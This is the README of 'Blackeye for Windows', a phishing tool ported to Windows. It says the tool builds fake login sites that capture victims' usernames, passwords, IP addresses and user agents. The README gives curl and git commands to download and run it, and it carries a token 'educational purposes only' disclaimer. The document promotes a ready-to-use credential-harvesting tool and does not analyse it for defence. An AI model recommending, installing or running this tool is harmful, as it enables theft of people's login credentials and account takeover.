This is a Phishing tool. Phishing is a type of hacking also called credential harvesting. It creates fake websites for victims to login which saves their login info which includes IP, User-Agent, Username and Password to a file in the computer running Blackeye. This tool has been there for Linux and even Android via Termux. I converted it to Windows.
Usage of BlackEye for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.
Just download this and extract it. Run blackeye.bat from the extracted folder and it will guide you through everything. Just read everything carefully while running it.
Or using Curl (Bundled with Windows 10 1803):
curl -LJ https://github.com/HiDe-Techno-Tips/Blackeye-for-Windows/releases/latest/download/Blackeye-for-Windows.zip -o blackeye.zip
tar -xf blackeye.zip
del blackeye.zip
cd Blackeye-for-Windows-main
blackeye.bat
Or using Git (Must Install in Windows):
git clone https://github.com/HiDe-Techno-Tips/Blackeye-for-Windows.git
cd Blackeye-for-Windows
blackeye.bat